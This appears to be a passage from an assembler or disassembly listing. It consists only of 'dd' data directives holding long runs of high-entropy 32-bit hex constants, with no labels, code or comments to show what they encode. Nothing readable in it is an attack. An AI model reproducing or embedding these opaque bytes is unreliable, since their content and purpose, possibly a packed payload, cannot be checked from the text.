0B2B3D62Dh dd 0FF1F5966h, 215E8706h, 0EDDDED7h, 2A075C9Bh, 9DE09F0h dd 0D559D23Ch, 0C8776034h, 0C24F79D9h, 298C04DEh, 7AA15CDAh dd 0E41CDD9Dh, 0A48CA662h, 0BFACE28Fh, 0B0336EE1h, 66831D3Eh dd 907EF95Fh, 0ADBD2F8Eh, 0A60ADEC1h, 0CCBD8A4Eh, 0AFD31E1Fh dd 1504B424h, 5486764Bh, 96E36327h, 0C70B411Fh, 92140F9Ah dd 9AF9145Ch, 8E0B63D6h, 0E66BAE12h, 0D50FE26Dh, 48C2883Bh dd 0CDDD65Ch, 0EA462A34h, 0C9EDDC3Ah, 0DB79121Ah, 0FDA7ED33h dd 0D3BD8717h, 26F50C5Ah, 0CD18126Fh, 220C9170h, 0CE80550Ch dd 0DFBC1564h, 50EDDAB8h, 240E60B8h, 57A9A10Ah, 1A78F3E2h dd 0E00ADB1Eh, 0B94187CEh, 3EBD3C7Ah, 6267FE4Bh, 90D9BD43h dd 626C5184h, 42DBB513h, 0B3E80C83h, 4AA9FD0Bh, 2D200E93h dd 73E1CD8Dh, 5329BA7Ch, 33662E7Fh, 1B326D74h, 789F1DBBh dd 17A261BDh, 41AB7D65h, 3C0B4E5Bh, 6D676C2Fh, 0D0E214CBh dd 0CB7E20DDh, 3043B607h, 9B239624h, 0CBBD05AFh, 1EEE9D09h dd 1E288D89h, 0E4E1C8FFh, 0D991E051h, 0D2D58BD5h, 4BF926B5h dd 19D114FAh, 3DB310Fh, 7A01756Dh, 0EE51001Dh, 63EFF106h dd 0FB8499EDh, 0F9F8A735h, 57FC5F5Bh, 0D5A474D4h, 9394261Ah dd 0BEA60D84h, 458EE918h, 4AA6D9E1h, 670C3746h, 5552C814h dd 0C5CAEE6Ch, 0E7FD517Fh, 23237FBh, 8F534FFEh, 578F59C7h dd 7FC283C8h, 32721671h, 0D13C217Ah, 0CD9664F9h, 0F0204CD6h dd 755AFE5Eh, 9EFEA5E8h, 0D6528F7Eh, 777881B2h, 5D9570A4h dd 88371B89h, 0F5F614E4h, 3F0C40E1h, 0FB8F776Bh, 7534AA6Ch dd 0A22FF1FBh, 0D5A9A179h, 62172EAAh, 6B55B47Eh, 200F836h dd 0E4D0F728h, 765083A7h, 9A8CEA10h, 0FDE1227Bh, 99674C89h dd 0B42D53E9h, 80C41FD2h, 0A5D7956Ah, 8E8C2F3Dh, 938F5DE3h dd 6BDC25A0h, 8838CD7h, 48E6DEBh, 883D3392h, 9A4A75D2h dd 81C22469h, 5CA0A58h, 94F766FAh, 0DB9E2A69h, 0B26310FDh dd 56356322h, 2A4D07D5h, 49BDFBA9h, 0DE91CDD0h, 85CC77FDh dd 9AAEEE77h, 8EA0DEAAh, 0F9803DA7h, 0BDE6888Ch, 0A142AB56h dd 0D94ADC8Fh, 60ABA33Fh, 0E4D74DABh, 0D7F3EC26h, 0D5276987h dd 62004040h, 0C89FECEEh, 425669B6h, 5E6FDE70h, 55DDF2A2h dd 799276B8h, 388B75BFh, 0FD97B61Eh, 908CE196h, 43A35D02h dd 3D99A094h, 0B63C1F03h, 3C55D45Dh, 1D9E5EFBh, 3FE1EF34h dd 0C0D560E0h, 0E5A0A4C6h, 21A2E382h, 0A84814B2h, 0C766BF44h dd 47332E3Ah, 7961199Dh, 0A2C84338h, 0E10F021h, 7294E29Eh dd 93C89B11h, 64781E75h, 8DE22D3Eh, 4651F6D1h, 45654697h dd 0FC2E8295h, 0EB011467h, 0D5548261h, 2BA58A97h, 7812EDh dd 6FCD19E1h, 31B75A7h, 10F1C553h, 0BC96A0B4h, 8D0D178Bh dd 0DF6932C8h, 4FAF5F73h, 0AC8CFD94h, 0DBAD5309h, 6A8F42AAh dd 865DF23Bh, 64C997B8h, 0B686A587h, 319D6D4Bh, 3398CBEh dd 0A0612C61h, 49FE7F3Ah, 98B03F3Eh, 0B03C475Dh, 8049C910h dd 0B37E36C1h, 387BF22Ch, 89DBE712h, 0A4838984h, 0A5D031D8h dd 0E2BAE8F8h, 0AAB5D052h, 187C322Eh, 4EDE5AC6h, 0F80C10E5h dd 0A8DA222Ch, 0B045A791h, 0D67F0262h, 0E7B1E230h, 1B37BAC0h dd 0FDEFC4F0h, 0B8F8A7FBh, 25D43F65h, 0C77A9037h, 360C2732h dd 745B0148h, 159C4E6Eh, 0CC595C8Dh, 0C177E9FCh, 3CD32493h dd 58F9BDDEh, 5975157h, 79CAC6DDh, 0D5812C58h, 6ECD0B90h dd 32F55648h, 69906C6Fh, 0FDF8F9FCh, 0AB1508D1h, 0A6E43EA2h dd 0CD645AC7h, 0FCE188A1h, 4B7ED40Ah, 8A55C6B0h, 0E243A32Eh dd 4A3A9504h, 4D2B45D4h, 36BA49CEh, 4D773A1Dh, 9928B82Fh dd 0E0D5B0Ch, 0EE0C8194h, 0BB8B44FFh, 7189C89Fh, 83DE8993h dd 0C1D99AD2h, 6860E11h, 4F8671AFh, 0B66B94F9h, 0E235E427h dd 0B6BFC29Ch, 0F16BE05Fh, 0EF40537Bh, 0AB226C1Bh, 63429263h dd 135B9674h, 0D1A57F5Fh, 0DA3EF153h, 0E4AEBD1Dh, 0A03C9864h dd 5EA1624h, 639A233Ah, 91CCEC5h, 1692EEB1h, 0C617AA9Fh dd 2B2ACD52h, 0FF2DDF57h, 0D444819Ah, 88512ECFh, 0D1978878h dd 82478F4Bh, 92EDA34Dh, 97E049A8h, 0BBB0A53Bh, 0EFDB6FC6h dd 0FCA46449h, 2131BD94h, 0E3923458h, 0F31B5105h, 381100E3h dd 9C2CA825h, 767934FEh, 83066FDCh, 6C884003h, 536678F0h dd 75AE9CEDh, 299E07FFh, 3D620EFCh, 17D4BE47h, 837B22EFh dd 98DF5394h, 0DA08FCF7h, 1D7F5EC2h, 2AB72913h, 554367DBh dd 0AD56165Dh, 0D86B8B1Ah, 0A7D422BDh, 0E4D3D8E3h, 0A3375629h dd 6995D7B2h, 0F4263E01h, 383D85E9h, 8F876252h, 72F73DB5h dd 59D7B9C7h, 0D066CE6Ch dd 0A8F18BC0h, 59A43B96h, 0E351C79Eh, 0BA3B45A3h, 0B30F6E01h dd 4B60292Bh, 0A97A811Fh, 8C16C693h, 0AD4587A3h, 78041140h dd 3A4F6D67h, 40896C6h, 0E9034535h, 62A8529Ah, 923E532Ch dd 333E4CAh, 40514414h, 942FEDA6h, 69BBEBA3h, 55D13643h dd 28ED2FA5h, 2429E3E1h, 0FAE1D50Eh, 22378721h, 72F0B4DBh dd 0FC91397Eh, 4E8F41C7h, 76DC8AF5h, 0B0F553C5h, 0F5152E5Ch dd 0D70D6849h, 8CF4AF24h, 6EBC418Ah, 950F23D4h, 6E1A5920h dd 409BA753h, 5DBCD0AFh, 48F5512Dh, 1B4422E8h, 4E67D9CFh dd 0B59B11ADh, 0BDC1C52Ch, 3C6D2CAEh, 7FA66BB3h, 6D028394h dd 9A7F9580h, 0D51B15ABh, 6BB5CC42h, 0BB22E45Dh, 0ADADCBCAh dd 8EDDECC5h, 917D8D65h, 1C8B8AAAh, 84D10F59h, 0F7D193Eh dd 0AB1BC2F7h, 26D26CF7h, 0B95E7958h, 0D3C9D02Eh, 0ECB4A727h dd 8AAF6C5Fh, 9A6B9922h, 7CC4E901h, 3D78DAD3h, 60AF3FE7h dd 73D58629h, 67067E77h, 1EE4ED30h, 45DB0316h, 4245F30Eh dd 0E33746E0h, 4ADBF7DAh, 0C02E9AAAh, 4ED5FA2Ch, 0AD946C8h dd 0EE37844Dh, 9272A12h, 42D8C2D2h, 0B2EB102Ah, 84A8B30Fh dd 1331828Ah, 9EE00526h, 0D8940AFAh, 0E0D1741Ah, 0AB28BDC6h dd 7F302E42h, 4CA4E894h, 3633246h, 0DD331A26h, 5C1BFE2Ah dd 0A89DA160h, 52E2F84h, 4BBCCDD9h, 6730227Ah, 0BB04CDECh dd 98A290DEh, 0EC55B70Dh, 0F97445FDh, 0D0278FC4h, 6763FCF0h dd 47D09036h, 3EA9439Eh, 91187607h, 3A7E78AEh, 6DE2B6Ah dd 19C6332Fh, 23748F73h, 4E267F11h, 4B53A7DFh, 0E3491DF8h dd 0B7468679h, 69560CB6h, 0EE215CD4h, 5C5C2839h, 907E0BEBh dd 3AB5723Dh, 92497F9Ah, 7167F921h, 86C23CCh, 8CD91825h dd 452DDDD5h, 95D6FB63h, 9E4461BAh, 68A6D050h, 7FF652C5h dd 3B228FDFh, 0F1E8D56Ch, 1579E3E1h, 2B1165EDh, 0B58B40E0h dd 7CE88738h, 0FF6EE7E2h, 0B80732C0h, 98052544h, 4904E3BCh dd 7BDD0AB9h, 61238268h, 0B8012BE0h, 6D91CF84h, 281DEE8Eh dd 0AE0C6699h, 2C4919D3h, 0AA6BCC1h, 0EAFC7866h, 82AA0869h dd 0A6C0AC9Eh, 15D84EC8h, 2EE76FB6h, 0F735060h, 5F47A2h dd 0F2829499h, 0F240BAD5h, 2365B4EEh, 167ABE57h, 91F96FC8h dd 62363757h, 9E7F1CE3h, 0CBC51A05h, 9D8AABFDh, 2BA439D6h dd 0A357BA32h, 588F5BA1h, 0F5E14AFEh, 0F10E1F50h, 78CFD26Ah dd 2D6BA28Fh, 9F354C84h, 8641FC50h, 0C72E78Ah, 0E3DD1559h dd 726FBA8Dh, 0EF1CD7F8h, 903A2CE5h, 0E200DB59h, 473984A5h dd 2798774Fh, 0A47BE1DDh, 0A0A166C1h, 0E1C9DF10h, 89A5C7E2h dd 68B03E61h, 177DBABDh, 5BA6A779h, 8DB636C8h, 6FE3D2B8h dd 0C89A8D93h, 9A6B4857h, 0E9FDD62Dh, 2AAF66C1h, 0FAE9A22Fh dd 96AF583Fh, 0B8EF0C48h, 22308E14h, 6F471966h, 0E0AC2C76h dd 69B3B2C2h, 2B2BFA8h, 913DC950h, 8FCAEE50h, 5EDCFBECh dd 5544C965h, 0E8736B08h, 832E8E0Ch, 0C64026BFh, 7146B097h dd 1090EA10h, 0D066DDB5h, 82FEFD35h, 6B883D9Dh, 0BC74734Bh dd 0EC3D26F7h, 67E52D77h, 9B0E10Ch, 0F2AE88EFh, 0FEB9C28Eh dd 9A5ADDD6h, 56F98955h, 360F3746h, 3F23C2A0h, 835BE9D9h dd 0D9873980h, 26B9E053h, 276A70CAh, 6E0754D9h, 0EB196229h dd 1FFC79BDh, 0B835D24Dh, 0F1939EBDh, 2C7FF789h, 0ECA32CB1h dd 0B94B4182h, 7648634Dh, 0D4441CDCh, 0D5F4A139h, 0A81A724Bh dd 24D193A4h, 7914218Ah, 6DC22655h, 1C439C33h, 0D0BAE22Dh dd 0CDF51F9Ch, 0DFEFF0CAh, 0FC9037F7h, 1B83308Bh, 0E187D12Dh dd 289D7F3Dh, 699B9F8Dh, 2CFD16B5h, 723BD88Ch, 646C76F7h dd 0DDEF6413h, 0DA78507Ah, 621C5537h, 6307F25Eh, 0CE883B22h dd 0E9C8F390h, 0C9C2CA65h, 0E23947C7h, 2586443Eh, 29484487h dd 21A571CEh, 1D71C323h, 705D20D9h, 7E601E72h, 0AAC63FEAh dd 14D4EF1Eh, 734BF742h, 9F5B194Fh, 0E9B84C87h, 5C40090Ah dd 73490ADEh, 4A554A3h, 0BDD9ACC4h, 7A018C87h, 5F7430FAh dd 0B5F7EAA1h, 0B3A9F577h, 0E58FD43Ch, 330151B8h, 40941B5Eh dd 1C6701E8h, 803EFA22h, 3FAD9314h, 724EE00h, 89C3A4A2h dd 2E19D501h, 0FFD86161h, 2FD52DBBh, 4C89AB1Eh, 610071E9h dd 57AFEC4Ah, 4038012Bh, 0AA3CD27h, 558B88A8h, 0A203B136h dd 7DDFF023h, 0D993920Eh, 0EEC8A5A7h, 3AFE2DA3h, 0FA52E242h dd 0E75D6428h, 75F983EBh, 0E7557DDh, 8F2BE68Dh, 0CE4FB5D3h dd 890F7E65h, 0F40D1BA7h, 0ABB07F7Ch, 0C93B6157h, 21664CF0h dd 43A15960h, 42621BB2h, 45CCF843h, 6D746DDAh, 8F55C9A4h dd 3B816F78h, 28ABE05Fh, 7B1B8793h, 10E02D54h, 0D22C6597h dd 80A01414h, 0F012E635h, 0C3BA2638h, 87E4659Eh, 0AE2EE51Eh dd 0C5D31179h, 0DABD6DBCh, 442A5E77h, 0D9BF7AE3h, 31D58257h dd 3B7F45D9h, 601972B7h, 94EA48B7h, 7A0785FBh, 59ABE822h dd 573D4012h, 0DCD263AFh, 779A11FFh, 0D7422BAEh, 16B1B1C2h dd 93C8A023h, 9C73B1Eh, 0DF870386h, 4881561h, 7ECF97C5h dd 0FCDCDA3Fh, 8B0A4A6Ch, 0A4AAA7B7h, 67C9A4D8h, 0C420A014h dd 0C2DF312h, 3B833CEh, 1F205479h, 68A4DB9Eh, 2CF85E87h dd 0D79B5D7Bh, 0C7CCD4A2h, 8A8E1028h, 24428CF7h, 30537153h dd 672DDB51h, 75963963h, 3F26722Bh, 1D9AE6AEh, 78CC227Bh dd 0AA0D09FDh, 3D92FBCFh, 0F227C1AEh, 44205FFh, 6C0FA4CCh dd 55A1648Ah, 0C451E2B9h, 0D0F54C23h, 0A4D9C8EEh, 0CC832936h dd 3CEF80A6h, 0D844A1BEh, 402947ECh, 2353C528h, 62BF91B7h dd 3DC986CFh, 0A33F7D12h, 835F4E0Ch, 0DA7C752Eh, 58FAEE08h dd 0DAF14D97h, 0D78512A7h, 6FF939E6h, 0B39F9E20h, 0CBDBA737h dd 380B8936h, 4A814ABDh, 33486E7h, 0A6D82253h, 0F77AA3E8h dd 9D10A678h, 0EC1DC599h, 92C5EE4Bh, 4EE3F6D2h, 95AB44EAh dd 0D03AA216h, 0E201B739h, 10C0F04h, 0C625301Ah, 5DE8463Bh dd 84D3D139h, 47B5F2Ch, 673AC688h, 0DF387489h, 2EADF52Ch dd 0D6409878h, 0F715FA3Eh, 0FFAB351Eh, 289B7DCDh, 482D01F5h dd 0BBC7A276h, 5A68914Eh, 1583C80Ah, 157D258Dh, 953EC4B9h dd 37588833h, 8A66504h, 31338F9Dh, 0B69EB36Bh, 981D7A20h dd 0F07AD535h, 0C23BF165h, 7B2C974Dh, 0D1AC14B9h, 0D5233E84h dd 0F743EC5Bh, 0E1F0214h, 98BFFEE7h, 0DE644E8Fh, 0F65C748Ch dd 1EF7DAFAh, 7765935Eh, 1775C40Ah, 3FCF12F8h, 50F6A186h dd 3477E03Ah, 0B0A04C4Ch, 979AEBFDh, 1905C4BDh, 0DC3C5ACFh dd 0DFCC76D6h, 0B4731083h, 0F333CF34h, 0EDE0E6DAh, 13254C2Bh dd 0EDCA3783h, 0F98FC98Eh, 21B5F1A4h, 402F1ECFh, 440164BAh dd 0CBFBABA4h, 9CDF7BC3h, 38E6B1BFh, 0B8ED762Eh, 65C5838h dd 9FDC0ED1h, 5304C165h, 0BA7C68DDh, 1E261D3h, 66088D4Ch dd 0B91D6327h, 0C22335BAh, 8447D436h, 691BB09Eh, 8965A108h dd 0CE5AA9A4h, 8A1AB649h, 2FC2CBDFh, 0B11A9FFh, 557C7D9Bh dd 0F14752B1h, 6AB16330h, 293017D2h, 892CEDB4h, 0F1F4EA68h dd 0A2AAAC01h, 0EF6260EBh, 76F4C963h, 33A3C1D0h, 3B0433B0h dd 4E11B315h, 9E06C146h, 0BD07D1CAh, 9E93DBF7h, 0DC852C9Fh dd 80E51FF9h, 0E719AAE2h, 0DD8D883Bh, 2CE148C1h, 9FACD392h dd 2162A72Fh, 2B3A945Dh, 5E5285D0h, 303C62ACh, 9B1F455Dh dd 0D8699531h, 659C4FC6h, 0E01F7499h, 0EE7AA369h, 0C130C727h dd 6AF2CEA0h, 1B7D6992h, 4435913Ah, 2E7F5B0Bh, 8A7EA44Eh dd 5833AADAh, 5505BB59h dd 6659C0C8h, 0E14E6394h, 313B3DF7h, 0BED43D0Ch, 725EED3Ah dd 50A62D92h, 77E516F7h, 0B6DD5F38h, 0B6E2D444h, 0C6CCCC84h dd 8E88CA70h, 0ED8E5226h, 74118D75h, 0FFE15FE1h, 1C04D5C4h dd 0A01C20C3h, 0C063EB0Bh, 0C2A4809Ch, 0CF122ABEh, 102E690Ah dd 0ACBFECE2h, 0EF3447AFh, 23FA09A1h, 5775700h, 12D0BA3Ah dd 78FE6075h, 28643DBAh, 0C5092DC1h, 0E2D0EB59h, 9C57C2D6h dd 105CF271h, 0D4815C66h, 37768C48h, 0ED87D603h, 698DE083h dd 813578D5h, 4E1E48BCh, 3A56F5FEh, 0F89ECCB1h, 48F38110h dd 519887FAh, 25C7B2B3h, 8BC94841h, 2F4DF847h, 726758BEh dd 718E5EDCh, 0F8DF293h, 0CBE5BB9Dh, 43A97F1Ch, 0A0ACBB10h dd 0B2F1A1A4h, 12E68B54h, 0D62BCD86h, 0DD90890Bh, 3EA53A56h dd 0BB3DCDD4h, 87B56BD5h, 268F34B0h, 0D3DC88AEh, 87BCB2B5h dd 0E1DA2E82h, 22D727EDh, 0A07269E2h, 0C448BCE8h, 11F1176Dh dd 0CAA3E0B4h, 0F94C7FA7h, 0D2252D4Ch, 0C2B6EAE2h, 50130F5h dd 7770A13Eh, 0E9BE34CFh, 0BA40C088h, 0AAF875A2h, 0FB005FFDh dd 82370332h, 89264169h, 59A99ABEh, 0A7C640C9h, 142D9567h dd 723AF828h, 0FA874F1Ch, 2062E327h, 1452DBCAh, 8AF20720h dd 193B15FBh, 0DE94C0D1h, 0A6817427h, 70DBAD23h, 86D70FF8h dd 0D17AACC1h, 2C0ABB1Fh, 3547A090h, 820E06F9h, 0F4F2767Eh dd 8C8C2220h, 5BDB0872h, 45BAA09Ch, 92C50BF5h, 2AFADA5Dh dd 41263ECFh, 53B91D83h, 0A142F358h, 0C20075EBh, 0F40AEC93h dd 57F91C61h, 3B0AC44Ah, 967B9B5Bh, 0ACC9E5D4h, 251255Ah dd 19A14EAFh, 0CC17CFE3h, 0DB7E9CD3h, 0CC48F50Dh, 4EC9A26h dd 94EC39DAh, 81CF3344h, 0A120738Bh, 0B336BF62h, 3C72C3C5h dd 1C48AA0Dh, 0EB50F40Fh, 5EF64D46h, 0B54A45F6h, 0B95D08BDh dd 6F238FE0h, 3301B3E3h, 466B1776h, 100128BCh, 5C3070F9h dd 3674E9CBh, 1AD2CBF2h, 0C456B6F6h, 7F85CED8h, 0FB410A52h dd 0F6C0199Dh, 0BA006ADBh, 674C6077h, 49DCF016h, 8C4774Bh dd 8BD5EF4Ah, 3DB4B3BDh, 0B4E338EFh, 0A75B870Eh, 0F299F166h dd 0F009DA6Dh, 94B36753h, 157F0981h, 74DD7F69h, 0F4A1A5B4h dd 0C7FBC66Dh, 0D12EB001h, 6DE3DC52h, 10B00761h, 0F6CD715Bh dd 6BB3F75Bh, 80013208h, 0A6430C31h, 2EB92FD0h, 16709BF1h dd 0C976D398h, 189D1E61h, 7B69089Bh, 0B16BDE5Fh, 0EC4121EDh dd 0A6F141BCh, 0F3504024h, 7C92424Dh, 0DEE73C65h, 0A5EA8B9h dd 492A5836h, 0F6653092h, 70E3B9FEh, 971C04C3h, 98D760A1h dd 0E23F9198h, 8C23C2D9h, 683E1C13h, 0FC41A04Ah, 0C4C44BDFh dd 60192BCBh, 59D08DD8h, 0EDFF1677h, 0F6FCB79Fh, 7C1C1D61h dd 0C1CBB203h, 0EA6B4C46h, 284147BEh, 2DFE6654h, 0B5D017A9h dd 0B435D312h, 0BE9F0459h, 96C4B1E1h, 0E4D9856Ah, 0EFCCD034h dd 7695A67Ah, 12A9B27Bh, 384DD70Bh, 0EC21969Ah, 110BF25Bh dd 0A3766F08h, 717377BCh, 0DE99C07Eh, 64708F58h, 3A327C93h dd 63A23802h, 9583F2CBh, 945C4CAAh, 0B63251D7h, 0FBB51048h dd 0D103EC5Dh, 0F3E2074Ah, 0E2BDA0F6h, 0B7E0BAA0h, 21E60C3Ah dd 3103444Ah, 1E8FEB90h, 0E08434B1h, 0FE559EEFh, 0A7D5070Ah dd 0C6608BD8h, 0DC872845h, 9466C25h, 980E916Bh, 4F49298Ch dd 2CB2E1EAh, 8B2485BFh, 6FC1ED75h, 63E0D524h, 0E6CBD95Dh dd 0F85A96E2h, 9F1DCA38h, 0E4C6AC67h, 0F748D092h, 650F81Ah dd 32A7CBB0h, 33FDCBA7h, 0B4AE24CAh, 0DF2053E7h, 541DA944h dd 6FC4AE61h, 0AF305453h, 0E6F4F967h, 827AE0D2h, 0CD1C5433h dd 1A8B4BCDh, 399FDF24h, 0ABCF734Eh, 8BBFCB07h, 4848F5A1h dd 0BA90D1CCh, 0E8BE3934h, 0BDE8743Eh, 0D0C3A387h, 0F45F34CAh dd 102CDE62h, 88F39340h, 8A9B1399h, 0AA8B2C3Ch, 0B716DFF8h dd 0E9115380h, 0D5A52F59h, 0E6943966h, 992DBC90h, 7A0797BDh dd 0BACD589Ch, 0D0485972h, 8644CEAEh, 10D7CDF9h, 59A50EC0h dd 0E3F62CC5h, 0B8110DE3h, 279EF3BCh, 4E77C364h, 86F23750h dd 0D02614E8h, 0C3579355h, 9396FD51h, 40EF5620h, 56610158h dd 0BC8141A2h, 0FAA74ACCh, 374E8885h, 0C7C15D36h, 5798330Bh dd 0FC9CCF3Ah, 4F93A7A0h, 469682F4h, 3911A5h, 4A27B28Fh dd 1B59677Ah, 40BA2F3Ah, 642925C4h, 0F9CF45F2h, 1F29C9Fh dd 7A64AEA8h, 0D4AFFF94h, 2EDFD3CDh, 0AEE6A9E6h, 6C0AA4A9h dd 0FD040416h, 0A6E757h, 5F3D2D77h, 0B935483Dh, 17524DB4h dd 70FDB8ECh, 88AFC7F5h, 1EA45842h, 0C674D04Ah, 570BAC3Ah dd 6CD37E10h, 0D6B262F5h, 2D3D1395h, 17326A18h, 0A80E9FBBh dd 0B4F0476h, 0EF8578FAh, 0A0DBFA82h, 45B979B6h, 0ABD0D748h dd 1FE0DDDBh, 0D9E0191Eh, 0A44BB517h, 0FB9D9AE8h, 8CDB28E6h dd 3E90C177h, 96DAFD29h, 72C77F95h, 0DA29B0FBh, 750D41B8h dd 75DE6CD1h, 0AE64DB7h, 0C2BF4E63h, 0F7592E60h, 0E8761D6h dd 0B5804573h, 873A2467h, 31DAB0A5h, 53BE006Fh, 5B67FC22h dd 1E49B371h, 0A0169C21h, 0C56A0DE2h, 8115276Ch, 22ACF22Fh dd 0BD99F51Fh, 4BA73794h, 2398222h, 0EF61043Dh, 1A4624A6h dd 0D1497E49h, 979C227Dh, 600B578Ah, 786E512Ch, 372ECA0Bh dd 0E9710B58h, 0BDDCA9E1h, 2C15F0FBh, 9968A5A9h, 844F6334h dd 4FCA7FE5h, 113B18BFh, 0ACC5B8C9h, 84C9DEA8h, 263A71AFh dd 0A37FA8CFh, 0AA4E60C8h, 0AC900F50h, 303F5A2Ch, 0E70A0015h dd 5BADDC2Ah, 24E5DE52h, 82529825h, 0D264FA26h, 0D65B8433h dd 0E6D2C1C9h, 0D2BECFC0h, 1648A087h, 0A8BE6D03h, 4887D02Fh dd 11BB1FE9h, 323F157h, 5A6CD870h, 1BA9AAA6h, 355141F9h dd 0CA5AB63h, 80860AA4h, 80078ED9h, 3168594Ah, 0C2EC5DB3h dd 8B48EECh, 4D98577Dh, 0F1FC5065h, 0CF2E451h, 1526EDC0h dd 7DE8EBC8h, 97D34DA9h, 7347B34Ch, 42B6EFBDh, 0B164C17Ah dd 294DEEABh, 82C49DBh, 90611C7Bh, 51FEDD81h, 89B71426h dd 7C47EA70h, 9E6001D7h, 558A0814h, 0D7EC832h, 4379D9F7h dd 0C5EF349h, 0AE3815DBh, 4F5AFCBDh, 640889A8h, 49555C7Eh dd 58257B80h, 37888974h, 370105E2h, 624CE792h, 109C89BBh dd 7F516385h, 8BD375EBh, 9271148Ch, 0D96DFD14h, 0E5414AEDh dd 1563307Dh, 8E43D890h, 39F6DDE0h, 0CDBFFEFh, 1EA56E36h dd 0D129167Ah, 7FDA61F4h, 0BDE0EC4Bh, 0A20DD18Ah, 1CDCDC30h dd 5DD749F2h, 0BDDBB185h, 0F13AB6FEh, 8E5C9167h, 9E00656h dd 558606F8h, 2D67CB0Ch, 6AF1818Ah, 58C99BBFh, 7B4D59E7h dd 66237F6Eh, 0C93D8EE7h, 0F5145667h, 0F516B7D2h, 0A3508E0Dh dd 0A4B4E223h, 5E6AACC7h, 0C8408BADh, 51201E88h, 59277064h dd 76FBA415h, 0A3365E32h, 0F50A8639h, 0D9598E3h, 0A5E1B1B5h dd 39D68531h, 70242E57h, 972D6CC2h, 365C6D99h, 7C1586E3h dd 0AEBB9B5Ch, 0EDF1959Dh, 0F39FBAFAh, 4667B55Eh, 0F519A9DBh dd 0AF94C600h, 7B429AEDh, 1EDECE5Fh, 4684DC28h, 9AE89087h dd 98795279h, 189D6019h, 0E31D1987h, 0FEDDA2C6h, 0A1C0DA8Fh dd 0C484B033h, 0CD1DE9D4h, 3120B35Eh, 898C49A8h, 6BA6B6F7h dd 68B43685h, 0A876D08Ch, 0E37B664Eh, 1CE3550Eh, 8152CFE0h dd 0F70D5D71h, 636A34ADh, 8F2624CEh, 702EB452h, 62D0823Eh dd 0D7B83D80h, 0FCDED6C1h, 0E1170CBh, 6B1AD3FBh, 0F6C046A7h dd 68181519h, 0D9EFB9FBh, 623C3561h, 0D9A9EB4Eh, 81E0E865h dd 70203F22h, 7ECC98DAh, 1021EAC1h, 8656EA5Eh, 180299C7h dd 5B27CE21h, 229D9BD7h dd 7004232Bh, 0AFF129E1h, 0A23F7147h, 0E7084B8Ch, 62AF78A2h dd 0C084FDFFh, 449F8E9Dh, 0B00BBF5Eh, 140ECC82h, 75691B94h dd 487A0850h, 8C71D67h, 0A8589E6Ch, 0E838EEC7h, 183A754Bh dd 826C6C9Bh, 0AD57265Ch, 170D717Eh, 8E877425h, 0F44EB0D1h dd 467A629Bh, 0C6CA3A50h, 875A3080h, 4622202Bh, 525ECC54h dd 894CF428h, 1823B7ABh, 3BFCA375h, 0EEF04792h, 0EE6A6138h dd 3D808A4Bh, 0D5AAAEDh, 0EBE12627h, 2CC140B1h, 0D4F88B72h dd 2FFAC2ACh, 91753150h, 8B2EA376h, 6E9B0910h, 8664318Ah dd 0DE1BF2D0h, 107B17F1h, 5339F05Bh, 0AD20E768h, 39474D7h dd 8D4BE7B4h, 15D3122Ch, 95358DF3h, 1AE85648h, 0B7A2C15Fh dd 0D972DE81h, 230D8A84h, 15AF688Ch, 2459EC00h, 164AE4h dd 7A25466Eh, 0D8EE6F59h, 1AC9855h, 0EDAAFB53h, 162A8F45h dd 9ED8DC0h, 5AB7F14Fh, 27EFF2Dh, 93661E7Fh, 6273C28Ah dd 2FABC598h, 5BE8E96Eh, 94653D27h, 0EF550423h, 16A46FD9h dd 0D86C8531h, 479AF52Eh, 430E908h, 0B6FE0705h, 783F682Dh dd 98FAA861h, 587440AFh, 28FF2E89h, 8CFD0C4Ch, 0C82B315Ah dd 0A44B1116h, 0E388E322h, 26BD885Eh, 10EB174Ch, 0AAD623B1h dd 0F48539A6h, 0ABAC7E3Ch, 4DA250F6h, 3FD30A23h, 609597E5h dd 821396D9h, 0ED2159A7h, 1035D142h, 0B41117A2h, 735D10E1h dd 571A0AF9h, 86C017C2h, 2111D55Ah, 0C677A043h, 0C738B0B3h dd 65805E25h, 0D40FEB2h, 0A0ADCEAh, 0AC2A4EE0h, 5D161F11h dd 2A47F6E6h, 498ED7DFh, 0EA1D1DDDh, 4C33D36Bh, 2F1FEAC0h dd 2AE74D55h, 178B82Ch, 0DB677E5Dh, 6CB82517h, 0CA0490DDh dd 0CB9E7475h, 0EC773CBEh, 0ABD0DD80h, 66ED7545h, 5A3429ABh dd 0E2F1325Bh, 7E9702AFh, 209DD337h, 0B0F0078Eh, 2AF73648h dd 9521CC06h, 0CC5E09FBh, 0A707A2F8h, 0C386CCF9h, 0FAB93C71h dd 51044809h, 44C6D75h, 0C96E60B4h, 0DEC31AC4h, 0F253ACC9h dd 0FE2B5206h, 0B0E39214h, 0E0E3E557h, 85E8E61Dh, 0BE3B8399h dd 42E57A4Dh, 77E43D65h, 4D08CB9Fh, 0D081CC3Ah, 329A6253h dd 12E20682h, 0CC7F548h, 1928F5E4h, 21A1D3CDh, 5A28D596h dd 0E8CCC7FCh, 0D79AC579h, 9C02E707h, 4614B76Bh, 0F529F42Dh dd 0A782CC2Eh, 89DD2003h, 0EDCB1AEBh, 6E1A03B5h, 1235BAC3h dd 164AD3F0h, 844AA946h, 42D55A3Ch, 0B28DF92Ch, 0F523410Eh dd 0ED3922C3h, 8B8793EBh, 0E0061D1Ah, 6240ABA4h, 0BFB8F757h dd 116B7168h, 0C0A29784h, 4B8651E0h, 1BB4A80Ah, 4602655Eh dd 0C26C0AD8h, 0AC5DD18h, 0C0E8369Ch, 4AA7463Dh, 0FC149D42h dd 2BCB5B28h, 2E4C1854h, 90F21571h, 8EA2672Eh, 12C6E555h dd 0E145C78Ah, 37DB0CA4h, 133D287Dh, 4BF622E8h, 35BA209Ah dd 0E9D4F2B2h, 14485380h, 1942574Bh, 0F0CB312Ch, 1FF0BEFBh dd 4B33F3CDh, 6E81D2B3h, 0C2DAA986h, 0D94495E6h, 25C7A6EBh dd 0E272C4ACh, 9A71A9FFh, 2D6E3649h, 0FEE9E362h, 0DE660F0Bh dd 0FFD1367Eh, 0EFF6B9DDh, 0D1042F78h, 26DD4D22h, 0F95D6217h dd 0CD28AD90h, 0AA44F7CEh, 3176D15Fh, 4265A608h, 6330B1E0h dd 0B8F65FBCh, 872FE63Ah, 0E55E59CAh, 33E68798h, 6A16FC35h dd 62E686C0h, 3BFCF292h, 0B575425Ah, 1E81B525h, 0CBF8B17Dh dd 5BD597BAh, 1A5B828Bh, 0DA3433B9h, 450F36F3h, 608C4224h dd 16FFE84Bh, 9F105A31h, 0AFC4A08Bh, 0D1A80DFFh, 